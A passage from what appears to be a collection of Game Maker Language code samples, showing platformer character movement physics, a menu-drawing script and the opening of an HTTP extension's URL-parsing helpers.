and\n    (collision_point(x-9, y-5, oSolid, 0, 0) or collision_point(x-9, y-6, oSolid, 0, 0)) and\n    not collision_point(x-9, y-9, oSolid, 0, 0) and not collision_point(x, y+9, oSolid, 0, 0))\n{\n  state = HANGING;\n  move_snap(1, 8);\n  yVel = 0;\n  yAcc = 0;\n  grav = 0;\n}\n\nif (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and state == FALLING and\n    (collision_point(x, y-5, oArrow, 0, 0) or collision_point(x, y-6, oArrow, 0, 0)) and\n    not collision_point(x, y-9, oArrow, 0, 0) and not collision_point(x, y+9, oArrow, 0, 0))\n{\n    obj = instance_nearest(x, y-5, oArrow);\n    if (obj.stuck)\n    {\n        state = HANGING;\n        // move_snap(1, 8);\n        yVel = 0;\n        yAcc = 0;\n        grav = 0;\n    }\n}\n\n/*\nif (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and state == FALLING and\n    (collision_point(x, y-5, oTreeBranch, 0, 0) or collision_point(x, y-6, oTreeBranch, 0, 0)) and\n    not collision_point(x, y-9, oTreeBranch, 0, 0) and not collision_point(x, y+9, oTreeBranch, 0, 0))\n{\n  state = HANGING;\n  // move_snap(1, 8);\n  yVel = 0;\n  yAcc = 0;\n  grav = 0;\n}\n*/\n\n}\n\nif (hangCount > 0) hangCount -= 1;\n\nif (state == HANGING)\n{\n    if (instance_exists(oCape)) oCape.open = false;\n    kJumped = false;\n    \n    if (kDown and kJumpPressed)\n    {\n        grav = gravNorm;\n        state = FALLING;\n        yAcc -= grav;\n        hangCount = 5;\n        if (global.hasGloves) hangCount = 10;\n    }\n    else if (kJumpPressed)\n    {\n        grav = gravNorm;\n        if ((facing == RIGHT and kLeft) or (facing == LEFT and kRight))\n        {\n            state = FALLING;\n            yAcc -= grav;\n        }\n        else\n        {\n            state = JUMPING;\n            yAcc += initialJumpAcc * 2;\n            if (facing == RIGHT) x -= 2;\n            else x += 2;\n        }\n        hangCount = hangCountMax;\n    }\n    \n    if ((facing == LEFT and not isCollisionLeft(2)) or\n        (facing == RIGHT and not isCollisionRight(2)))\n    {\n        grav = gravNorm;\n        state = FALLING;\n        yAcc -= grav;\n        hangCount = 4;\n    }\n}\nelse\n{\n    grav = gravNorm;\n}\n\n// pressing down while standing\nif (kDown and platformCharacterIs(ON_GROUND) and not whipping)\n{\n    if (colBot)\n    {\n        state = DUCKING;\n    }\n    else if colPlatBot\n    {\n        // climb down ladder if possible, else jump down\n        fallTimer = 0;\n        if (not colBot)\n        {\n            ladder = 0;\n            ladder = instance_place(x, y+16, oLadder);\n            if (instance_exists(ladder))\n            {\n                if (abs(x-(ladder.x+8)) < 4)\n                {\n                    x = ladder.x + 8;\n\n                    xVel = 0;\n                    yVel = 0;\n                    xAcc = 0;\n                    yAcc = 0;\n                    state = CLIMBING;\n                }\n            }\n            else\n            {\n                y += 1;\n                state = FALLING;\n                yAcc += grav;\n            }\n        }\n        else\n        {\n            //the character can't move down because there is a solid in the way\n            state = RUNNING;\n        }\n    }\n}\nif (not kDown and state == DUCKING)\n{\n    state = STANDING;\n    xVel = 0;\n    xAcc = 0;\n}\nif (xVel == 0 and xAcc == 0 and state == RUNNING)\n{\n    state = STANDING;\n}\nif (xAcc != 0 and state == STANDING)\n{\n    state = RUNNING;\n}\nif (yVel < 0 and platformCharacterIs(IN_AIR) and state != HANGING)\n{\n    state = JUMPING;\n}\nif (yVel > 0 and platformCharacterIs(IN_AIR) and state != HANGING)\n{\n    state = FALLING;\n    setCollisionBounds(-5, -6, 5, 8);\n}\nelse setCollisionBounds(-5, -8, 5, 8);\n\n// CLIMB LADDER\ncolPointLadder = collision_point(x, y, oLadder, 0, 0) or collision_point(x, y, oLadderTop, 0, 0);\n\nif ((kUp and platformCharacterIs(IN_AIR) and collision_point(x, y-8, oLadder, 0, 0) and ladderTimer == 0) or\n    (kUp and colPointLadder and ladderTimer == 0) or\n    (kDown and colPointLadder and ladderTimer == 0 and platformCharacterIs(ON_GROUND) and collision_point(x, y+9, oLadderTop, 0, 0) and xVel == 0))\n{\n    ladder = 0;\n    ladder = instance_place(x, y-8, oLadder);\n    if (instance_exists(ladder))\n    {\n        if (abs(x-(ladder.x+8)) < 4)\n        {\n            x = ladder.x + 8;\n            if (not collision_point(x, y, oLadder, 0, 0) and\n                not collision_point(x, y, oLadderTop, 0, 0))\n            {\n                y = ladder.y + 14;\n            }\n\n            xVel = 0;\n            yVel = 0;\n            xAcc = 0;\n            yAcc = 0;\n            state = CLIMBING;\n        }\n    }\n}\n\n/*\nif (sprite_index == sDuckToHangL or sprite_index == sDamselDtHL)\n{\n    ladder = 0;\n    if (facing == LEFT and collision_rectangle(x-8, y, x, y+16, oLadder, 0, 0) and not collision_point(x-4, y+16, oSolid, 0, 0))\n    {\n        ladder = instance_nearest(x-4, y+16, oLadder);\n    }\n    else if (facing == RIGHT and collision_rectangle(x, y, x+8, y+16, oLadder, 0, 0) and not collision_point(x+4, y+16, oSolid, 0, 0))\n    {\n        ladder = instance_nearest(x+4, y+16, oLadder);\n    }\n    \n    if (ladder)\n    {\n        x = ladder.x + 8;\n\n        xVel = 0;\n        yVel = 0;\n        xAcc = 0;\n        yAcc = 0;\n        state = CLIMBING;\n    }\n}\n*/\n/*\nif (colLadder and state == CLIMBING and kJumpPressed and not whipping)\n{\n    if (kLeft)\n        xVel = -departLadderXVel;\n    else if (kRight)\n        xVel = departLadderXVel;\n    else\n        xVel = 0;\n    yAcc += departLadderYVel;\n    state = JUMPING;\n    jumpButtonReleased = 0;\n    jumpTime = 0;\n    ladderTimer = 5;\n}\n*/\n\n// Calculate horizontal/vertical friction\nif (state == CLIMBING)\n{\n    xFric = frictionClimbingX;\n    yFric = frictionClimbingY;\n}\nelse\n{\n    if (runKey and platformCharacterIs(ON_GROUND) and runHeld >= 10)\n    {\n        if (kLeft) // run\n        {\n            xVel -= 0.1;\n            xVelLimit = 6;\n            xFric = frictionRunningFastX;\n        }\n        else if (kRight)\n        {\n            xVel += 0.1;\n            xVelLimit = 6;\n            xFric = frictionRunningFastX;\n        }\n    }\n    else if (state == DUCKING)\n    {\n        if (xVel<2 and xVel>-2)\n        {\n            xFric = 0.2\n            xVelLimit = 3;\n            image_speed = 0.8;\n        }\n        else if (kLeft and global.downToRun) // run\n        {\n            xVel -= 0.1;\n            xVelLimit = 6;\n            xFric = frictionRunningFastX;\n        }\n        else if (kRight and global.downToRun)\n        {\n            xVel += 0.1;\n            xVelLimit = 6;\n            xFric = frictionRunningFastX;\n        }\n        else\n        {\n            xVel *= 0.8;\n            if (xVel < 0.5) xVel = 0;\n            xFric = 0.2\n            xVelLimit = 3;\n            image_speed = 0.8;\n        }\n    }\n    else\n    {\n        //decrease the friction when the character is \"flying\"\n        if (platformCharacterIs(IN_AIR))\n        {\n            if (dead or stunned) xFric = 1.0;\n            else xFric = 0.8;\n        }\n        else\n        {\n            xFric = frictionRunningX;\n        }\n    }\n    \n    // Stuck on web or underwater\n    if (collision_point(x, y, oWeb, 0, 0))\n    {\n        xFric = 0.2;\n        yFric = 0.2;\n        fallTimer = 0;\n    }\n    else if (collision_point(x, y, oWater, -1, -1))\n    {\n        if (instance_exists(oCape)) oCape.open = false;\n    \n        if (state == FALLING and yVel > 0)\n        {\n            yFric = 0.5;\n        }\n        else if (not collision_point(x, y-9, oWater, -1, -1))\n        {\n            yFric = 1;\n        }\n        else\n        {\n            yFric = 0.9;\n        }\n    }\n    else\n    {\n        swimming = false;\n        yFric = 1;\n    }\n}\n\nif (colIceBot and state != DUCKING and not global.hasSpikeShoes)\n{\n    xFric = 0.98;\n    yFric = 1;\n}\n\n// RUNNING\n\nif (platformCharacterIs(ON_GROUND))\n{\n    if (state == RUNNING and kLeft and colLeft)\n    {\n        pushTimer += 1;\n    }\n    else if (state == RUNNING and kRight and colRight)\n    {\n        pushTimer += 1;\n    }\n    else\n    {\n        pushTimer = 0;\n    }\n    \n    if (platformCharacterIs(ON_GROUND) and not kJump and not kDown and not runKey)\n    {   \n        xVelLimit = 3;\n    }\n    \n    \n    // ledge flip\n    if (state == DUCKING and abs(xVel) < 3 and facing == LEFT and\n        collision_point(x, y+9, oSolid, 0, 0) and not collision_line(x-1, y+9, x-10, y+9, oSolid, 0, 0) and kLeft)\n    {\n        state = DUCKTOHANG;\n        \n        if (holdItem)\n        {\n            holdItem.held = false;\n            if (holdItem.type == \"Gold Idol\") holdItem.y -= 8;\n            scrDropItem(-1, -4);\n        }\n        \n        with oMonkey\n        {\n            // knock off monkeys that grabbed you\n            if (status == 7)\n            {\n                xVel = -1;\n                yVel = -4;\n                status = 1;\n                vineCounter = 20;\n                grabCounter = 60;\n            }\n        }\n    }\n    else if (state == DUCKING and abs(xVel) < 3 and facing == RIGHT and\n        collision_point(x, y+9, oSolid, 0, 0) and not collision_line(x+1, y+9, x+10, y+9, oSolid, 0, 0) and kRight)\n    {\n        state = DUCKTOHANG;\n        \n        if (holdItem)\n        {\n            // holdItem.held = false;\n            if (holdItem.type == \"Gold Idol\") holdItem.y -= 8;\n            scrDropItem(1, -4);\n        }\n        \n        with oMonkey\n        {\n            // knock off monkeys that grabbed you\n            if (status == 7)\n            {\n                xVel = 1;\n                yVel = -4;\n                status = 1;\n                vineCounter = 20;\n                grabCounter = 60;\n            }\n        }\n    }\n}\n\nif (state == DUCKTOHANG)\n{\n    x = xPrev;\n    y = yPrev;\n    xVel = 0;\n    yVel = 0;\n    xAcc = 0;\n    yAcc = 0;\n    grav = 0;\n}\n\n// PARACHUTE AND CAPE\nif (instance_exists(oParachute))\n{\n    yFric = 0.5;\n}\nif (instance_exists(oCape))\n{\n    if (oCape.open) yFric = 0.5;\n}\n\nif (pushTimer > 100) pushTimer = 100;\n\n// limits the acceleration if it is too extreme\nif (xAcc > xAccLimit) xAcc = xAccLimit;\nelse if (xAcc < -xAccLimit) xAcc = -xAccLimit;\nif (yAcc > yAccLimit) yAcc = yAccLimit;\nelse if (yAcc < -yAccLimit) yAcc = -yAccLimit;\n\n// applies the acceleration\nxVel += xAcc;\nif (dead or stunned) yVel += 0.6;\nelse yVel += yAcc;\n\n// nullifies the acceleration\nxAcc = 0;\nyAcc = 0;\n\n// applies the friction to the velocity, now that the velocity has been calculated\nxVel *= xFric;\nyVel *= yFric;\n\n// apply ball and chain\nif (instance_exists(oBall))\n{\n    if (distance_to_object(oBall) >= 24)\n    {\n        if (xVel > 0 and oBall.x < x and abs(oBall.x-x) > 24) xVel = 0;\n        if (xVel < 0 and oBall.x > x and abs(oBall.x-x) > 24) xVel = 0;\n        if (yVel > 0 and oBall.y < y and abs(oBall.y-y) > 24)\n        {\n            if (abs(oBall.x-x) < 1)\n            {\n                x = oBall.x;\n            }\n            else if (oBall.x < x and not kRight)\n            {\n                if (xVel > 0) xVel *= -0.25;\n                else if (xVel == 0) xVel -= 1;\n            }\n            else if (oBall.x > x and not kLeft)\n            {\n                if (xVel < 0) xVel *= -0.25;\n                else if (xVel == 0) xVel += 1;\n            }\n            yVel = 0;\n            fallTimer = 0;\n        }\n        if (yVel < 0 and oBall.y > y and abs(oBall.y-y) > 24) yVel = 0;\n    }\n}\n\n// apply the limits since the velocity may be too extreme\nif (not dead and not stunned)\n{\n    if (xVel > xVelLimit) xVel = xVelLimit;\n    else if (xVel < -xVelLimit) xVel = -xVelLimit;\n}\nif (yVel > yVelLimit) yVel = yVelLimit;\nelse if (yVel < -yVelLimit) yVel = -yVelLimit;\n    \n// approximates the \"active\" variables\nif approximatelyZero(xVel) xVel=0\nif approximatelyZero(yVel) yVel=0\nif approximatelyZero(xAcc) xAcc=0\nif approximatelyZero(yAcc) yAcc=0\n\n// prepares the character to move up a hill\n// we need to use the \"slopeYPrev\" variable later to know the \"true\" y previous value\n// keep this condition the same\nif maxSlope>0 and platformCharacterIs(ON_GROUND) and xVel!=0\n{\n  slopeYPrev=y\n  for(y=y;y>=slopeYPrev-maxSlope;y-=1)\n    if colTop\n      break\n  slopeChangeInY=slopeYPrev-y\n}\nelse\n  slopeChangeInY=0\n\n// moves the character, and balances out the effects caused by other processes\n// keep this condition the same\nif maxSlope*abs(xVel)>0 and platformCharacterIs(ON_GROUND)\n{\n  // we need to check if we should dampen out the speed as the character runs on upward slopes\n  xPrev=x\n  yPrev=slopeYPrev       // we don't want to use y, because y is too high\n  yPrevHigh=y            // we'll use the higher previous variable later\n  moveTo(xVel,yVel+slopeChangeInY)\n  dist=point_distance(xPrev,yPrev,x,y)// overall distance that has been traveled\n  // we should have only ran at xVel\n  if dist>abs(xVelInteger)\n  {\n    // show_message(string(dist)+ \" \"+string(abs(xVelInteger)))\n    excess=dist-abs(xVelInteger)\n    if(xVelInteger<0)\n      excess*=-1\n    // move back since the character moved too far\n    x=xPrev\n    y=yPrevHigh     // we need the character to be high so the character can move down\n    // this time we'll move the correct distance, but we need to shorten out the xVel a little\n    // these lines can be changed for different types of slowing down when running up hills\n    ratio=abs(xVelInteger)/dist*0.9        //can be changed\n    moveTo( round(xVelInteger*ratio),round(yVelInteger*ratio+slopeChangeInY) )\n  }\n}\nelse\n{\n  // we simply move xVel and yVel while in the air or on a ladder\n  moveTo(xVel,yVel)\n}\n// move the character downhill if possible\n// we need to multiply maxDownSlope by the absolute value of xVel since the character normally runs at an xVel larger than 1\nif not colBot and maxDownSlope>0 and xVelInteger!=0 and platformCharacterIs(ON_GROUND)\n{\n  //the character is floating just above the slope, so move the character down\n  upYPrev=y\n  for(y=y;y<=upYPrev+maxDownSlope;y+=1)\n    if colBot             // we hit a solid below\n    {\n      upYPrev=y           // I know that this doesn't seem to make sense, because of the name of the variable, but it all works out correctly after we break out of this loop\n      break\n    }\n  y=upYPrev\n}\n\n//figures out what the sprite index of the character should be\ncharacterSprite();\n\n//sets the previous state and the previously previous state\nstatePrevPrev = statePrev;\nstatePrev = state;\n\n//calculates the image_speed based on the character's velocity\nif (state == RUNNING or state == DUCKING or state == LOOKING_UP)\n{\n    if (state == RUNNING or state == LOOKING_UP) image_speed = abs(xVel) * runAnimSpeed + 0.1;\n}\n\nif (state == CLIMBING) image_speed = sqrt(sqr(abs(xVel))+sqr(abs(yVel))) * climbAnimSpeed\nif (xVel >= 4 or xVel <= -4)\n{\n    image_speed = 1;\n    if (platformCharacterIs(ON_GROUND)) setCollisionBounds(-8, -8, 8, 8);\n    else setCollisionBounds(-5, -8, 5, 8);\n}\nelse setCollisionBounds(-5, -8, 5, 8);\nif (whipping) image_speed = 1;\nif (state == DUCKTOHANG)\n{\n    image_index = 0;\n    image_speed = 0.8;\n}\n//limit the image_speed at 1 so the animation always looks good\nif (image_speed > 1) image_speed = 1;\n"
  },
  {
    "path": "samples/Game Maker Language/draw_menu.gml",
    "content": "// Source - https://github.com/faissaloo/GMLmenus/blob/master/GMLmenus_example.gmx/scripts/draw_menu.gml\n\n///draw_menu(str,background,foreground,x,y,hpadding,vpadding,height,mouse_button)\n//Distributed under the MIT licence:\n/////////////////////////////////////////\n/*Permission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.*/\n/////////////////////////////////////////\n//Height is the height of 1 box\n//Menu syntax:\n//  |s = seperator (Bug: if |s is placed next to a |n an extra menu item would be added)\n//  |n = new item\nvar str, background, foreground,xx,yy, width, height;\nstr = \" \"+argument0 //A hacky thing so that it draws the first item properly, I should probably properly fix this later\nbackground = argument1\nforeground = argument2\nxx = argument3\nyy = argument4\nwidth = 0//argument5\nhpadding = argument5\nvpadding = argument6\nheight = argument7\nmb=argument8 //This is the main mouse button, I added this to give more choice to the dev\n//xx and yy should be corrected if they are placed outside of the room or if they will lead to the menu being cut off by the edge of the room\nitem_list = ds_list_create()\nitem_string = \"\"\n///////////////////////////////////\nfor (i=0;i<string_length(str);i+=1) //Parse the string, it's being set to -1 because it won't read the first character otherwise, yes this is very hacky and stupid, but I can't be bothered right now\n{\nif string_char_at(str,i)=\"|\" //If it finds a | it means there will be an escape character\n{\ni+=1 //Move to the next character\n\nswitch(string_char_at(str,i)) //Check which escape character it is\n{\ncase \"s\":\n    //i+=1\n    ds_list_add(item_list,\"|s\")\n    //ds_list_add(item_list,\"\") //This is for the meta info\n\ncase \"n\":\n    i+=1 //Skip the letter itself as we don't want it to be drawn\n    //For some reason this is always 10\n    //But it works perfectly fine if an escape code isn't the first character\n    //show_message(string(i)+\"<\"+string(string_length(str))) //Debug\n    for (ii=i;ii<=string_length(str);ii+=1)\n    {\n    //show_message(string_char_at(str,ii))\n    if string_char_at(str,ii)=\"|\"\n    {\n    //i-=1\n    break; //We don't want it to go any further if the next character is a backslash\n    }\n    //If the for loop hasn't been broken then it'll draw the character\n    item_string+=string_char_at(str,ii)\n    }\n    \n    if string_width(item_string)>width\n    {\n        width=string_width(item_string)\n    }\n    \n    \n    ds_list_add(item_list,item_string) //Add a new item to the list\n    item_string=\"\" //Reset the item_string\n}\n}\n}\ndraw_set_color(background)\n//draw_rectangle(xx,yy,xx+width,yy+(height*ds_list_size(item_list)),false) //Background, temporary?\ndraw_button(xx,yy,xx+width+(hpadding*2),yy+(height*(ds_list_size(item_list)-1))+vpadding,true) //Background, temporary?\n\nfor (i=0;i<ds_list_size(item_list);i+=1) //Go through the list of menu items\n{\n\n\n\n    draw_set_color(background)\n    //draw_rectangle(xx,yy+(height*i),xx+width,yy+(height),false) //Draw the rectange for this one, we're doing this so we can add cool effects to each of them\n    draw_set_color(foreground)\n    \n    if ds_list_find_value(item_list,i)=\"|s\"\n    {  \n        draw_line(xx+hpadding,yy+((height*(i+0.5))/2)+vpadding,xx+width,yy+((height*(i+0.5))/2)+vpadding) //Draw the seperator\n    }\n    else\n    {\n        //draw_text(xx+(width/10),yy+((height/2)*i),ds_list_find_value(item_list,i))\n        draw_text(xx+hpadding,yy+((height/2)*i)+vpadding,ds_list_find_value(item_list,i))\n        //padding\n    }\n    \n    if (mouse_x>xx) and (mouse_x<xx+width) and (mouse_y<yy+(height/2)*(i+1)) and (mouse_y>yy) and mouse_check_button_released(mb)\n    {\n        //show_message(i+1) //Debugging\n        return i+1; //Returns the number of the item in the list, we're adding 1 because 0 is reserved for if nothing is clicked\n    }\n\n    \n\n}\n\nif mouse_check_button_released(mb) and !(mouse_x>xx and mouse_y>yy and mouse_x<xx+width and mouse_y<yy+(height*(ds_list_size(item_list)-1))) //If the mouse was clicked outside\n{\n    return 0; //Return 0 to indicate that the user chose to exit the menu by clicking outside of it\n}\n\nreturn -1; //If we haven't already returned something, return a -1 to indicate that nothing was clicked\n"
  },
  {
    "path": "samples/Game Maker Language/faucet-http.gml",
    "content": "#define __http_init\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Creates global.__HttpClient\r\n// real __http_init()\r\n\r\nglobal.__HttpClient = object_add();\r\nobject_set_persistent(global.__HttpClient, true);\r\n\r\n#define __http_split\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// real __http_split(string text, delimeter delimeter, real limit)\r\n// Splits string into items\r\n\r\n// text - string comma-separated values\r\n// delimeter - delimeter to split by\r\n// limit  if non-zero, maximum times to split text\r\n// When limited, the remaining text will be left as the last item.\r\n// E.g. splitting \"1,2,3,4,5\" with delimeter \",\" and limit 2 yields this list:\r\n// \"1\", \"2\", \"3,4,5\"\r\n\r\n// return value - ds_list containing strings of values\r\n\r\nvar text, delimeter, limit;\r\ntext = argument0;\r\ndelimeter = argument1;\r\nlimit = argument2;\r\n\r\nvar list, count;\r\nlist = ds_list_create();\r\ncount = 0;\r\n\r\nwhile (string_pos(delimeter, text) != 0)\r\n{\r\n    ds_list_add(list, string_copy(text, 1, string_pos(delimeter,text) - 1));\r\n    text = string_copy(text, string_pos(delimeter, text) + string_length(delimeter), string_length(text) - string_pos(delimeter, text));\r\n\r\n    count += 1;\r\n    if (limit and count == limit)\r\n        break;\r\n}\r\nds_list_add(list, text);\r\n\r\nreturn list;\r\n\r\n#define __http_parse_url\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Parses a URL into its components\r\n// real __http_parse_url(string url)\r\n\r\n// Return value is a ds_map containing keys for the different URL parts: (or -1 on failure)\r\n// \"url\" - the URL which was passed in\r\n// \"scheme\" - the URL scheme (e.g. \"http\")\r\n// \"host\" - the hostname (e.g. \"example.com\" or \"127.0.0.1\")\r\n// \"port\" - the port (e.g. 8000) - this is a real, unlike the others\r\n// \"abs_path\" - the absolute path (e.g. \"/\" or \"/index.html\")\r\n// \"query\" - the query string (e.g. \"a=b&c=3\")\r\n// Parts which are not included will not be in the map\r\n// e.g. http://example.com will not have the \"port\", \"path\" or \"query\" keys\r\n\r\n// This will *only* work properly for URLs of format:\r\n// scheme \":\" \"//\" host [ \":\" port ] [ abs_path [ \"?\" query ]]\"\r\n// where [] denotes an optional component\r\n// file: URLs will *not* work as they lack the authority (host:port) component\r\n// It will not work correctly for IPv6 host values\r\n\r\nvar url;\r\nurl = argument0;\r\n\r\nvar map;\r\nmap = ds_map_create();\r\nds_map_add(map, 'url', url);\r\n\r\n// before scheme\r\nvar colonPos;\r\n// Find colon for end of scheme\r\ncolonPos = string_pos(':', url);\r\n// No colon - bad URL\r\nif (colonPos == 0)\r\n    return -1;\r\nds_map_add(map, 'scheme', string_copy(url, 1, colonPos - 1));\r\nurl = string_copy(url, colonPos + 1, string_length(url) - colonPos);\r\n\r\n// before double slash\r\n// remove slashes (yes this will screw up file:// but who cares)\r\nwhile (string_char_at(url, 1) == '/')\r\n    url = string_copy(url, 2, string_length(url) - 1);\r\n\r\n// before hostname\r\nvar slashPos, colonPos;\r\n// Find slash for beginning of path\r\nslashPos = string_pos('/', url);\r\n// No slash ahead - http://host format with no ending slash\r\nif (slashPos == 0)\r\n{\r\n    // Find : for beginning of port\r\n    colonPos = string_pos(':', url);\r\n}\r\nelse\r\n{\r\n    // Find : for beginning of port prior to /\r\n    colonPos = string_pos(':', string_copy(url, 1, slashPos - 1));\r\n}\r\n// No colon - no port\r\nif (colonPos == 0)\r\n{\r\n    // There was no slash\r\n    if (slashPos == 0)\r\n    {\r\n        ds_map_add(map, 'host', url);\r\n        return map;\r\n    }\r\n    // There was a slash\r\n    else\r\n    {\r\n        ds_map_add(map, 'host', string_copy(url, 1, slashPos - 1));\r\n        url = string_copy(url, slashPos, string_length(url) - slashPos + 1);\r\n    }\r\n}\r\n// There's a colon - port specified\r\nelse\r\n{\r\n    // There was no slash\r\n    if (slashPos == 0)\r\n    {\r\n        ds_map_add(map, 'host', string_copy(url, 1, colonPos - 1));\r\n        ds_map_add(map, 'port', real(string_copy(url, colonPos + 1, string_length(url) - colonPos)));\r\n        return map;\r\n    }\r\n    // There was a slash\r\n    else\r\n    {\r\n        ds_map_add(map, 'host', string_copy(url, 1, colonPos - 1));\r\n        url = string_copy(url, colonPos + 1, string_length(url) - colonPos);\r\n        slashPos = string_pos('/', url);\r\n        ds_map_add(map, 'port', real(string_copy(url, 1, slashPos - 1)));\r\n        url = string_copy(url, slashPos, string_length(url) - slashPos + 1); \r\n    }\r\n}\r\n\r\n// before path\r\nvar queryPos;\r\nqueryPos = string_pos('?', url);\r\n// There's no ? - no query\r\nif (queryPos == 0)\r\n{\r\n    ds_map_add(map, 'abs_path', url);\r\n    return map;\r\n}\r\nelse\r\n{\r\n    ds_map_add(map, 'abs_path', string_copy(url, 1, queryPos - 1));\r\n    ds_map_add(map, 'query', string_copy(url, queryPos + 1, string_length(url) - queryPos));\r\n    return map;\r\n}\r\n\r\n// Return -1 upon unlikely error\r\nds_map_destroy(map);\r\nreturn -1;\r\n\r\n#define __http_resolve_url\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Takes a base URL and a URL reference and applies it to the base URL\r\n// Returns resulting absolute URL\r\n// string __http_resolve_url(string baseUrl, string refUrl)\r\n\r\n// Return value is a string containing the new absolute URL, or \"\" on failure\r\n\r\n// Works only for restricted URL syntax as understood by by http_resolve_url\r\n// The sole restriction of which is that only scheme://authority/path URLs work\r\n// This notably excludes file: URLs which lack the authority component\r\n\r\n// As described by RFC3986:\r\n//      URI-reference = URI / relative-ref\r\n//      relative-ref  = relative-part [ \"?\" query ] [ \"#\" fragment ]\r\n//      relative-part = \"//\" authority path-abempty\r\n//                    / path-absolute\r\n//                    / path-noscheme\r\n//                    / path-empty\r\n// However http_resolve_url does *not* deal with fragments\r\n\r\n// Algorithm based on that of section 5.2.2 of RFC 3986\r\n\r\nvar baseUrl, refUrl;\r\nbaseUrl = argument0;\r\nrefUrl = argument1;\r\n\r\n// Parse base URL\r\nvar urlParts;\r\nurlParts = 